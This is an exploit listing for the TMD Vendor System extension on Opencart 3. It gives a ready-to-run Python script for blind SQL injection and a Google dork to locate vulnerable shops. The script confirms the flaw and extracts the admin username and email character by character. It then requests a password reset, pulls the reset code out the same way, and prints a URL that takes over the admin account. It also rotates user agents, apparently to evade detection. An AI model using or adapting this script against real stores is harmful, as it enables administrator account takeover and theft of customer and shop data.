Opencart 3 Extension TMD Vendor System Exploit, Blind SQL Injection

# Exploit Title: Opencart 3 Extension TMD Vendor System - Blind SQL Injection
# Author: Muhammad Zaki Sulistya (zaki.sulistya@gmail.com)
# Date: 03-11-2021
# Product: TMD Vendor System
# Vendor Homepage: https://www.opencartextensions.in/
# Software Link: https://www.opencartextensions.in/opencart-multi-vendor-multi-seller-marketplace
# Version: TMD Vendor System 3.x
# Tested on: MacOS
# Google Dork: inurl:index.php?route=vendor/allseller
# Info: Patched on the new version

#!/usr/bin/python
import requests
from bs4 import BeautifulSoup
from random import randint
import time

class TmdSqli:
    def __init__(self, url):
        self.char_list = ['.',':', '@', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
        self.url = url
        self.user_agents = []
        self.set_user_agent()
        self.is_vulnerable()

    def set_user_agent(self):
        if len(self.user_agents) == 0:
            r = requests.get(
                'https://gist.githubusercontent.com/pzb/b4b6f57144aea7827ae4/raw/cf847b76a142955b1410c8bcef3aabe221a63db1/user-agents.txt').text
            self.user_agents = r.split("\n")

    def get_content(self, url):
        try:
            n = randint(0, 999)
            headers = {}
            headers['user-agent'] = self.user_agents[n]
            req = requests.get(url, headers=headers)
            soup = BeautifulSoup(req.content, 'html.parser')
            return soup.find(id='content')
        except requests.exceptions.ConnectionError as e:
            print("CONNECTION ERROR:", e)
            time.sleep(60)
            self.get_content(url)

    def is_vulnerable(self):
        url_injection_true = self.url + "' AND 1=1--+-"
        url_injection_false = self.url + "' AND 1=0--+-"

        default_response = self.get_content(self.url)
        injection_true = self.get_content(url_injection_true)
        injection_false = self.get_content(url_injection_false)

        if (default_response == injection_true) and (default_response != injection_false):
            print("The target is vulnerable")
            self.injection_true = injection_true
            row_length = self.user_data_length()
            self.dump_data(row_length)
        else:
            print("Not vulnerable")

    def user_data_length(self):
        n = 1
        while True:
            request_url = self.url + "' AND (SELECT LENGTH(CONCAT(username,0x3a,email)) FROM oc_user LIMIT 0,1)=" + str(n) + "--+-"
            req = self.get_content(request_url)
            if req != self.injection_true:
                n += 1
            else:
                print("Row length : " + str(n))
                return n
                break

    def reset_code_length(self):
        n = 1
        while True:
            request_url = self.url + "' AND (SELECT LENGTH(CONCAT(code)) FROM oc_user WHERE username = '" + self.username + "')=" + str(
                n) + "--+-"
            req = self.get_content(request_url)
            if req != self.injection_true:
                n += 1
            else:
                print("Row length : " + str(n))
                return n
                break

    def dump_data(self, length):
        data = ""
        for i in range(1, length + 1):
            for j in self.char_list:
                j = ord(j)
                request_url = self.url + "' AND (SELECT ASCII(SUBSTRING(CONCAT(username,0x3a,email), " + str(i) + ",1)) FROM oc_user LIMIT 0,1)=" + str(j) + "--+-"
                req = self.get_content(request_url)
                if req == self.injection_true:
                    data += chr(j)
                    print("Get : " + data)
        user_data = data.split(":")
        self.username = user_data[0]
        self.email = user_data[1]
        self.reset_password()

    def dump_reset_code(self, length):
        data = ""
        for i in range(1, length + 1):
            for j in self.char_list:
                j = ord(j)
                request_url = self.url + "' AND (SELECT ASCII(SUBSTRING(CONCAT(code), " + str(
                    i) + ",1)) FROM oc_user WHERE username = '" + self.username + "')=" + str(j) + "--+-"
                req = self.get_content(request_url)
                if req == self.injection_true:
                    data += chr(j)
                    print("Get : " + data)
        return data

    def reset_password(self):
        self.admin_page = input("Admin page URL : ")
        request_url = self.admin_page + '/index.php?route=common/forgotten'
        post_data = {'email':self.email}
        req = requests.post(request_url, data=post_data)
        if req.status_code == 200:
            row_length = self.reset_code_length()
            reset_code = self.dump_reset_code(row_length)
            reset_password_url = self.admin_page + '/index.php?route=common/reset&code=' + reset_code
            print("Gotcha!")
            print("username : " + self.username)
            print("You can reset the password : " + reset_password_url)

print("TARGET URL ex: https://[redacted]]/index.php?route=product/product&product_id=[product_id]")
target = input("Target URL : ")
TmdSqli(target)

All rights reserved nPulse.net 2009 - 2021
Powered by: MVCP 2.0-RC / BVCP / ASPF-MILTER / PHP 7.4 / NGINX / FreeBSD